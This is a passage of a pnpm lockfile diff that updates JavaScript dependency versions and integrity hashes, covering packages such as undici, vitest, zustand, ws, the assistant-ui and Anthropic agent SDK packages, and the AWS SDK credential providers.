     resolution: {integrity: sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==}
 
-  undici-types@7.24.4:
-    resolution: {integrity: sha512-cRaY9PagdEZoRmcwzk3tUV3SVGrVQkR6bcSilav/A0vXsfpW4Lvd0BvgRMwTEDTLLGN+QdyBTG+nnvTgJhdt6w==}
+  undici-types@7.18.2:
+    resolution: {integrity: sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==}
+
+  undici-types@8.10.0:
+    resolution: {integrity: sha512-ibvdovq3nCFs8Msrd95BW+zUOq+aOVbT+wpHUoPWhztbHEoPc6oof51iFDB6Es8lTKvNvVW9jNSAB8dwrKTMGg==}
 
   undici@5.29.0:
     resolution: {integrity: sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==}
     engines: {node: '>=14.0'}
 
-  undici@7.24.4:
-    resolution: {integrity: sha512-BM/JzwwaRXxrLdElV2Uo6cTLEjhSb3WXboncJamZ15NgUURmvlXvxa6xkwIOILIjPNo9i8ku136ZvWV0Uly8+w==}
-    engines: {node: '>=20.18.1'}
+  undici@8.10.0:
+    resolution: {integrity: sha512-HvltHd7avK13QIw/oLe4qoOLyoVSoafqJ2jYOrtMRBkbYT31eiBQ8O0ehRKZiEZCMEyLFQNIADpgCWC5fALvYQ==}
+    engines: {node: '>=22.19.0'}
 
   unidiff@1.0.4:
     resolution: {integrity: sha512-ynU0vsAXw0ir8roa+xPCUHmnJ5goc5BTM2Kuc3IJd8UwgaeRs7VSD5+eeaQL+xp1JtB92hu/Zy/Lgy7RZcr1pQ==}
@@ -8337,8 +8739,8 @@ packages:
     resolution: {integrity: sha512-5uKD0nqiYVzlmCRs01Fhs2BdkEgBS3SAVP6ndrBsuK42iC2+JHyxM05Rm9G8+5mkmRtzMZGY8Ct5+mliZxU/Ww==}
     engines: {node: '>=18.12.0'}
 
-  update-browserslist-db@1.2.3:
-    resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==}
+  update-browserslist-db@1.3.1:
+    resolution: {integrity: sha512-ZZ61DsRsOnakl74HAmp3oSN4aXUmEWXf+i/yv0h7tIBfICc3VdrFErQKUUKPgu3AMsTUMbcongALEN4l6GSUrQ==}
     hasBin: true
     peerDependencies:
       browserslist: '>= 4.21.0'
@@ -8351,7 +8753,7 @@ packages:
     engines: {node: '>=10'}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -8360,21 +8762,16 @@ packages:
     resolution: {integrity: sha512-djviaxuOOh7wkj0paeO1Q/4wMZ8Zrnag5H6yBvzN7AKKe8beOaED9SF5/ByLqsku8NP4zQqsvM2u3ew/tJK8/w==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  use-effect-event@2.0.3:
-    resolution: {integrity: sha512-fz1en+z3fYXCXx3nMB8hXDMuygBltifNKZq29zDx+xNJ+1vEs6oJlYd9sK31vxJ0YI534VUsHEBY0k2BATsmBQ==}
-    peerDependencies:
-      react: ^19.2.7
-
   use-isomorphic-layout-effect@1.2.1:
     resolution: {integrity: sha512-tpZZ+EX0gaghDAiFR37hj5MgY6ZN55kLiPkJsKxBMZ6GZdOSPJXiOzPM984oPYZ5AnehYx5WQp1+ME8I/P/pRA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -8383,7 +8780,7 @@ packages:
     resolution: {integrity: sha512-mhg3xdm9NaM8q+gLT8KryJPnRFOz1/5XPBhmDEVZK1webPzDjrPk7f/mbpeLqTgB9msytYWANxgALOCJKnLvcQ==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -8393,7 +8790,7 @@ packages:
     engines: {node: '>=10'}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -8401,7 +8798,7 @@ packages:
   use-sync-external-store@1.6.0:
     resolution: {integrity: sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
   util-deprecate@1.0.2:
     resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==}
@@ -8546,9 +8943,46 @@ packages:
       jsdom:
         optional: true
 
-  void-elements@3.1.0:
-    resolution: {integrity: sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w==}
-    engines: {node: '>=0.10.0'}
+  vitest@4.1.11:
+    resolution: {integrity: sha512-fhACrNXUidIbGSBr5FlbuBkO7VWC1ZyLl0DO4CU2DrQoAPxX84Ysxs+HeGQpii5lZWV1Q4gBZTTu49mF+A6Edw==}
+    engines: {node: ^20.0.0 || ^22.0.0 || >=24.0.0}
+    hasBin: true
+    peerDependencies:
+      '@edge-runtime/vm': '*'
+      '@opentelemetry/api': ^1.9.0
+      '@types/node': ^20.0.0 || ^22.0.0 || >=24.0.0
+      '@vitest/browser-playwright': 4.1.11
+      '@vitest/browser-preview': 4.1.11
+      '@vitest/browser-webdriverio': 4.1.11
+      '@vitest/coverage-istanbul': 4.1.11
+      '@vitest/coverage-v8': 4.1.11
+      '@vitest/ui': 4.1.11
+      happy-dom: '*'
+      jsdom: '*'
+      vite: ^6.0.0 || ^7.0.0 || ^8.0.0
+    peerDependenciesMeta:
+      '@edge-runtime/vm':
+        optional: true
+      '@opentelemetry/api':
+        optional: true
+      '@types/node':
+        optional: true
+      '@vitest/browser-playwright':
+        optional: true
+      '@vitest/browser-preview':
+        optional: true
+      '@vitest/browser-webdriverio':
+        optional: true
+      '@vitest/coverage-istanbul':
+        optional: true
+      '@vitest/coverage-v8':
+        optional: true
+      '@vitest/ui':
+        optional: true
+      happy-dom:
+        optional: true
+      jsdom:
+        optional: true
 
   vscode-jsonrpc@9.0.1:
     resolution: {integrity: sha512-rfuA6T75H6m5EkbhtEPzre9pT0HPcDI2MMy4+nPFIBks5J8JBAUHD4tRYSgaBOijIEC7SRkC1kKyXTLqbmh9jw==}
@@ -8580,6 +9014,10 @@ packages:
     resolution: {integrity: sha512-1to4zXBxmXHV3IiSSEInrreIlu02vUOvrhxJJH5vcxYTBDAx51cqZiKdyTxlecdKNSjj8EcxGBxNf6Vg+945gw==}
     engines: {node: ^20.19.0 || ^22.12.0 || >=24.0.0}
 
+  whatwg-url@17.1.0:
+    resolution: {integrity: sha512-3GeworPmc2ZfEEHP7lEbUfBX/L75wdEsi0rLNhXcXxnoN5jyq0SL5gCy06SGW2cyTIZdTvWIDQNQoza++vKeaw==}
+    engines: {node: ^22.14.0 || >=24.0.0}
+
   which@2.0.2:
     resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==}
     engines: {node: '>= 8'}
@@ -8604,8 +9042,8 @@ packages:
   wrappy@1.0.2:
     resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==}
 
-  ws@8.21.1:
-    resolution: {integrity: sha512-+0NTnW77fFN/DjQi6k/Sq/Yvk4Sgajw7urW8V+asjXnRgDs9gyGkdb7EzgfhA4goXsRIZKE28fzIXBHEzhuiWw==}
+  ws@8.21.3:
+    resolution: {integrity: sha512-201TZ/kPWxoPr/OKWjquZR1SWKXcvxdH+e1xrx89b3YbmzLMFCLfnaG1HFIgWzJOEWZ7MvpK++odZufgYR50Rw==}
     engines: {node: '>=10.0.0'}
     peerDependencies:
       bufferutil: ^4.0.1
@@ -8620,8 +9058,8 @@ packages:
     resolution: {integrity: sha512-h3Fbisa2nKGPxCpm89Hk33lBLsnaGBvctQopaBSOW/uIs6FTe1ATyAnKFJrzVs9vpGdsTe73WF3V4lIsk4Gacw==}
     engines: {node: '>=18'}
 
-  wsl-utils@0.3.1:
-    resolution: {integrity: sha512-g/eziiSUNBSsdDJtCLB8bdYEUMj4jR7AGeUo96p/3dTafgjHhpF4RiCFPiRILwjQoDXx5MqkBr4fwWtR3Ky4Wg==}
+  wsl-utils@1.0.0:
+    resolution: {integrity: sha512-Hl0ZOAs672vg+06kfujwRhoS6/jehvULrlFkuF2dRu6pHgA8U06h3xqNIqNNU1LTXPcedxByAR4GS6pwQK0mgA==}
     engines: {node: '>=20'}
 
   xml-name-validator@5.0.0:
@@ -8656,13 +9094,13 @@ packages:
   zod@4.4.3:
     resolution: {integrity: sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==}
 
-  zustand@5.0.14:
-    resolution: {integrity: sha512-/8tAspM5LMPr28b3fwLYrtdj77ECpfZviaP75CMTnwO8ISyaE4GDIG/9rDDYq/cH9D2Xw2A2RXglLInmVBQB/g==}
+  zustand@5.0.15:
+    resolution: {integrity: sha512-MpSEjRiBkA9crSYeOUH32rJC7SVqAbm0Fqcqge/bUi2PPoLcBWKOsG+C8mevmpr8TwXHBVkChbbJiyvkE+i/3A==}
     engines: {node: '>=12.20.0'}
     peerDependencies:
       '@types/react': '>=18.0.0'
       immer: '>=9.0.6'
-      react: ^19.2.7
+      react: ^19.2.8
       use-sync-external-store: '>=1.2.0'
     peerDependenciesMeta:
       '@types/react':
@@ -8679,25 +9117,23 @@ packages:
 
 snapshots:
 
-  '@acemir/cssom@0.9.31': {}
-
   '@adobe/css-tools@4.5.0': {}
 
-  '@agentclientprotocol/claude-agent-acp@0.66.0(@anthropic-ai/sdk@0.81.0(zod@3.25.76))(@modelcontextprotocol/sdk@1.30.0(zod@3.25.76))':
+  '@agentclientprotocol/claude-agent-acp@0.69.0(@anthropic-ai/sdk@0.81.0(zod@3.25.76))(@modelcontextprotocol/sdk@1.30.0(zod@3.25.76))':
     dependencies:
       '@agentclientprotocol/sdk': 1.3.0(zod@3.25.76)
-      '@anthropic-ai/claude-agent-sdk': 0.3.220(@anthropic-ai/sdk@0.81.0(zod@3.25.76))(@modelcontextprotocol/sdk@1.30.0(zod@3.25.76))(zod@3.25.76)
+      '@anthropic-ai/claude-agent-sdk': 0.3.232(@anthropic-ai/sdk@0.81.0(zod@3.25.76))(@modelcontextprotocol/sdk@1.30.0(zod@3.25.76))(zod@3.25.76)
       zod: 3.25.76
     transitivePeerDependencies:
       - '@anthropic-ai/sdk'
       - '@modelcontextprotocol/sdk'
 
-  '@agentclientprotocol/codex-acp@1.1.7':
+  '@agentclientprotocol/codex-acp@1.2.0':
     dependencies:
       '@agentclientprotocol/sdk': 1.3.0(zod@4.4.3)
-      '@openai/codex': 0.145.0
+      '@openai/codex': 0.147.0
       diff: 9.0.0
-      open: 11.0.0
+      open: 11.0.1
       vscode-jsonrpc: 9.0.1
       zod: 4.4.3
 
@@ -8718,44 +9154,44 @@ snapshots:
       package-manager-detector: 1.8.0
       tinyexec: 1.3.0
 
-  '@anthropic-ai/claude-agent-sdk-darwin-arm64@0.3.220':
+  '@anthropic-ai/claude-agent-sdk-darwin-arm64@0.3.232':
     optional: true
 
-  '@anthropic-ai/claude-agent-sdk-darwin-x64@0.3.220':
+  '@anthropic-ai/claude-agent-sdk-darwin-x64@0.3.232':
     optional: true
 
-  '@anthropic-ai/claude-agent-sdk-linux-arm64-musl@0.3.220':
+  '@anthropic-ai/claude-agent-sdk-linux-arm64-musl@0.3.232':
     optional: true
 
-  '@anthropic-ai/claude-agent-sdk-linux-arm64@0.3.220':
+  '@anthropic-ai/claude-agent-sdk-linux-arm64@0.3.232':
     optional: true
 
-  '@anthropic-ai/claude-agent-sdk-linux-x64-musl@0.3.220':
+  '@anthropic-ai/claude-agent-sdk-linux-x64-musl@0.3.232':
     optional: true
 
-  '@anthropic-ai/claude-agent-sdk-linux-x64@0.3.220':
+  '@anthropic-ai/claude-agent-sdk-linux-x64@0.3.232':
     optional: true
 
-  '@anthropic-ai/claude-agent-sdk-win32-arm64@0.3.220':
+  '@anthropic-ai/claude-agent-sdk-win32-arm64@0.3.232':
     optional: true
 
-  '@anthropic-ai/claude-agent-sdk-win32-x64@0.3.220':
+  '@anthropic-ai/claude-agent-sdk-win32-x64@0.3.232':
     optional: true
 
-  '@anthropic-ai/claude-agent-sdk@0.3.220(@anthropic-ai/sdk@0.81.0(zod@3.25.76))(@modelcontextprotocol/sdk@1.30.0(zod@3.25.76))(zod@3.25.76)':
+  '@anthropic-ai/claude-agent-sdk@0.3.232(@anthropic-ai/sdk@0.81.0(zod@3.25.76))(@modelcontextprotocol/sdk@1.30.0(zod@3.25.76))(zod@3.25.76)':
     dependencies:
       '@anthropic-ai/sdk': 0.81.0(zod@3.25.76)
       '@modelcontextprotocol/sdk': 1.30.0(zod@3.25.76)
       zod: 3.25.76
     optionalDependencies:
-      '@anthropic-ai/claude-agent-sdk-darwin-arm64': 0.3.220
-      '@anthropic-ai/claude-agent-sdk-darwin-x64': 0.3.220
-      '@anthropic-ai/claude-agent-sdk-linux-arm64': 0.3.220
-      '@anthropic-ai/claude-agent-sdk-linux-arm64-musl': 0.3.220
-      '@anthropic-ai/claude-agent-sdk-linux-x64': 0.3.220
-      '@anthropic-ai/claude-agent-sdk-linux-x64-musl': 0.3.220
-      '@anthropic-ai/claude-agent-sdk-win32-arm64': 0.3.220
-      '@anthropic-ai/claude-agent-sdk-win32-x64': 0.3.220
+      '@anthropic-ai/claude-agent-sdk-darwin-arm64': 0.3.232
+      '@anthropic-ai/claude-agent-sdk-darwin-x64': 0.3.232
+      '@anthropic-ai/claude-agent-sdk-linux-arm64': 0.3.232
+      '@anthropic-ai/claude-agent-sdk-linux-arm64-musl': 0.3.232
+      '@anthropic-ai/claude-agent-sdk-linux-x64': 0.3.232
+      '@anthropic-ai/claude-agent-sdk-linux-x64-musl': 0.3.232
+      '@anthropic-ai/claude-agent-sdk-win32-arm64': 0.3.232
+      '@anthropic-ai/claude-agent-sdk-win32-x64': 0.3.232
 
   '@anthropic-ai/sdk@0.81.0(zod@3.25.76)':
     dependencies:
@@ -8763,294 +9199,263 @@ snapshots:
     optionalDependencies:
       zod: 3.25.76
 
-  '@asamuzakjp/css-color@5.0.1':
+  '@asamuzakjp/css-color@6.0.7':
     dependencies:
-      '@csstools/css-calc': 3.1.1(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)
-      '@csstools/css-color-parser': 4.0.2(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)
+      '@csstools/css-calc': 3.3.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)
+      '@csstools/css-color-parser': 4.2.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)
       '@csstools/css-parser-algorithms': 4.0.0(@csstools/css-tokenizer@4.0.0)
       '@csstools/css-tokenizer': 4.0.0
-      lru-cache: 11.2.7
+      lru-cache: 11.5.2
 
-  '@asamuzakjp/dom-selector@6.8.1':
+  '@asamuzakjp/dom-selector@8.3.2':
     dependencies:
-      '@asamuzakjp/nwsapi': 2.3.9
       bidi-js: 1.0.3
       css-tree: 3.2.1
       is-potential-custom-element-name: 1.0.1
-      lru-cache: 11.2.7
+      lru-cache: 11.5.2
 
-  '@asamuzakjp/nwsapi@2.3.9': {}
-
-  '@assistant-ui/core@0.2.10(@assistant-ui/store@0.2.13(@assistant-ui/tap@0.5.14(@types/react@19.2.17)(react@19.2.7))(@types/react@19.2.17)(react@19.2.7))(@assistant-ui/tap@0.5.14(@types/react@19.2.17)(react@19.2.7))(@types/react@19.2.17)(assistant-cloud@0.1.31)(react@19.2.7)(zustand@5.0.14(@types/react@19.2.17)(react@19.2.7)(use-sync-external-store@1.6.0(react@19.2.7)))':
+  '@assistant-ui/core@0.3.14(@assistant-ui/store@0.3.10(@assistant-ui/tap@0.9.13(@types/react@19.2.18)(react@19.2.8))(@types/react@19.2.18)(react@19.2.8))(@assistant-ui/tap@0.9.13(@types/react@19.2.18)(react@19.2.8))(@types/react@19.2.18)(assistant-cloud@0.1.41)(react@19.2.8)(zustand@5.0.15(@types/react@19.2.18)(react@19.2.8)(use-sync-external-store@1.6.0(react@19.2.8)))':
     dependencies:
-      '@assistant-ui/store': 0.2.13(@assistant-ui/tap@0.5.14(@types/react@19.2.17)(react@19.2.7))(@types/react@19.2.17)(react@19.2.7)
-      '@assistant-ui/tap': 0.5.14(@types/react@19.2.17)(react@19.2.7)
-      assistant-stream: 0.3.20
-      nanoid: 5.1.11
+      '@assistant-ui/store': 0.3.10(@assistant-ui/tap@0.9.13(@types/react@19.2.18)(react@19.2.8))(@types/react@19.2.18)(react@19.2.8)
+      '@assistant-ui/tap': 0.9.13(@types/react@19.2.18)(react@19.2.8)
+      assistant-stream: 0.3.38
+      nanoid: 6.0.1
     optionalDependencies:
-      '@types/react': 19.2.17
-      assistant-cloud: 0.1.31
-      react: 19.2.7
-      zustand: 5.0.14(@types/react@19.2.17)(react@19.2.7)(use-sync-external-store@1.6.0(react@19.2.7))
+      '@types/react': 19.2.18
+      assistant-cloud: 0.1.41
+      react: 19.2.8
+      zustand: 5.0.15(@types/react@19.2.18)(react@19.2.8)(use-sync-external-store@1.6.0(react@19.2.8))
     transitivePeerDependencies:
       - ioredis
       - redis
 
-  '@assistant-ui/react@0.14.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(use-sync-external-store@1.6.0(react@19.2.7))':
+  '@assistant-ui/react@0.15.14(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(use-sync-external-store@1.6.0(react@19.2.8))':
     dependencies:
-      '@assistant-ui/core': 0.2.10(@assistant-ui/store@0.2.13(@assistant-ui/tap@0.5.14(@types/react@19.2.17)(react@19.2.7))(@types/react@19.2.17)(react@19.2.7))(@assistant-ui/tap@0.5.14(@types/react@19.2.17)(react@19.2.7))(@types/react@19.2.17)(assistant-cloud@0.1.31)(react@19.2.7)(zustand@5.0.14(@types/react@19.2.17)(react@19.2.7)(use-sync-external-store@1.6.0(react@19.2.7)))
-      '@assistant-ui/store': 0.2.13(@assistant-ui/tap@0.5.14(@types/react@19.2.17)(react@19.2.7))(@types/react@19.2.17)(react@19.2.7)
-      '@assistant-ui/tap': 0.5.14(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/primitive': 1.1.3
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-escape-keydown': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      assistant-cloud: 0.1.31
-      assistant-stream: 0.3.20
-      nanoid: 5.1.11
-      radix-ui: 1.6.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-textarea-autosize: 8.5.9(@types/react@19.2.17)(react@19.2.7)
-      safe-content-frame: 0.0.20
+      '@assistant-ui/core': 0.3.14(@assistant-ui/store@0.3.10(@assistant-ui/tap@0.9.13(@types/react@19.2.18)(react@19.2.8))(@types/react@19.2.18)(react@19.2.8))(@assistant-ui/tap@0.9.13(@types/react@19.2.18)(react@19.2.8))(@types/react@19.2.18)(assistant-cloud@0.1.41)(react@19.2.8)(zustand@5.0.15(@types/react@19.2.18)(react@19.2.8)(use-sync-external-store@1.6.0(react@19.2.8)))
+      '@assistant-ui/store': 0.3.10(@assistant-ui/tap@0.9.13(@types/react@19.2.18)(react@19.2.8))(@types/react@19.2.18)(react@19.2.8)
+      '@assistant-ui/tap': 0.9.13(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-escape-keydown': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      assistant-cloud: 0.1.41
+      assistant-stream: 0.3.38
+      radix-ui: 1.6.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-textarea-autosize: 8.5.9(@types/react@19.2.18)(react@19.2.8)
+      safe-content-frame: 0.0.27
       zod: 4.4.3
-      zustand: 5.0.14(@types/react@19.2.17)(react@19.2.7)(use-sync-external-store@1.6.0(react@19.2.7))
+      zustand: 5.0.15(@types/react@19.2.18)(react@19.2.8)(use-sync-external-store@1.6.0(react@19.2.8))
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
     transitivePeerDependencies:
       - immer
       - ioredis
       - redis
       - use-sync-external-store
 
-  '@assistant-ui/store@0.2.13(@assistant-ui/tap@0.5.14(@types/react@19.2.17)(react@19.2.7))(@types/react@19.2.17)(react@19.2.7)':
+  '@assistant-ui/store@0.3.10(@assistant-ui/tap@0.9.13(@types/react@19.2.18)(react@19.2.8))(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@assistant-ui/tap': 0.5.14(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      use-effect-event: 2.0.3(react@19.2.7)
+      '@assistant-ui/tap': 0.9.13(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
+      react: 19.2.8
 
-  '@assistant-ui/tap@0.5.14(@types/react@19.2.17)(react@19.2.7)':
+  '@assistant-ui/tap@0.9.13(@types/react@19.2.18)(react@19.2.8)':
     optionalDependencies:
-      '@types/react': 19.2.17
-      react: 19.2.7
+      '@types/react': 19.2.18
+      react: 19.2.8
 
-  '@aws-sdk/checksums@3.1000.27':
+  '@aws-sdk/checksums@3.1000.28':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/client-s3@3.1106.0':
+  '@aws-sdk/client-s3@3.1111.0':
     dependencies:
-      '@aws-sdk/checksums': 3.1000.27
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/credential-provider-node': 3.972.79
-      '@aws-sdk/middleware-sdk-s3': 3.972.73
-      '@aws-sdk/signature-v4-multi-region': 3.996.44
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/fetch-http-handler': 5.7.0
-      '@smithy/node-http-handler': 4.10.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/checksums': 3.1000.28
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/credential-provider-node': 3.972.80
+      '@aws-sdk/middleware-sdk-s3': 3.972.74
+      '@aws-sdk/signature-v4-multi-region': 3.996.45
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/fetch-http-handler': 5.7.2
+      '@smithy/node-http-handler': 4.11.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/core@3.977.7':
+  '@aws-sdk/core@3.977.8':
     dependencies:
-      '@aws-sdk/types': 3.974.3
-      '@aws-sdk/xml-builder': 3.972.38
+      '@aws-sdk/types': 3.974.4
+      '@aws-sdk/xml-builder': 3.972.39
       '@aws/lambda-invoke-store': 0.3.0
-      '@smithy/core': 3.32.0
-      '@smithy/signature-v4': 5.7.0
-      '@smithy/types': 4.17.0
+      '@smithy/core': 3.33.2
+      '@smithy/signature-v4': 5.7.2
+      '@smithy/types': 4.17.2
       bowser: 2.14.1
       tslib: 2.8.1
 
-  '@aws-sdk/credential-provider-env@3.972.68':
+  '@aws-sdk/credential-provider-env@3.972.69':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/credential-provider-http@3.972.70':
+  '@aws-sdk/credential-provider-http@3.972.71':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/fetch-http-handler': 5.7.0
-      '@smithy/node-http-handler': 4.10.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/fetch-http-handler': 5.7.2
+      '@smithy/node-http-handler': 4.11.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/credential-provider-ini@3.973.13':
+  '@aws-sdk/credential-provider-ini@3.973.14':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/credential-provider-env': 3.972.68
-      '@aws-sdk/credential-provider-http': 3.972.70
-      '@aws-sdk/credential-provider-login': 3.972.75
-      '@aws-sdk/credential-provider-process': 3.972.68
-      '@aws-sdk/credential-provider-sso': 3.973.12
-      '@aws-sdk/credential-provider-web-identity': 3.972.74
-      '@aws-sdk/nested-clients': 3.997.42
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/credential-provider-imds': 4.5.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/credential-provider-env': 3.972.69
+      '@aws-sdk/credential-provider-http': 3.972.71
+      '@aws-sdk/credential-provider-login': 3.972.76
+      '@aws-sdk/credential-provider-process': 3.972.69
+      '@aws-sdk/credential-provider-sso': 3.973.13
+      '@aws-sdk/credential-provider-web-identity': 3.972.75
+      '@aws-sdk/nested-clients': 3.997.43
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/credential-provider-imds': 4.5.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/credential-provider-login@3.972.75':
+  '@aws-sdk/credential-provider-login@3.972.76':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/nested-clients': 3.997.42
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/nested-clients': 3.997.43
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/credential-provider-node@3.972.79':
+  '@aws-sdk/credential-provider-node@3.972.80':
     dependencies:
-      '@aws-sdk/credential-provider-env': 3.972.68
-      '@aws-sdk/credential-provider-http': 3.972.70
-      '@aws-sdk/credential-provider-ini': 3.973.13
-      '@aws-sdk/credential-provider-process': 3.972.68
-      '@aws-sdk/credential-provider-sso': 3.973.12
-      '@aws-sdk/credential-provider-web-identity': 3.972.74
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/credential-provider-imds': 4.5.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/credential-provider-env': 3.972.69
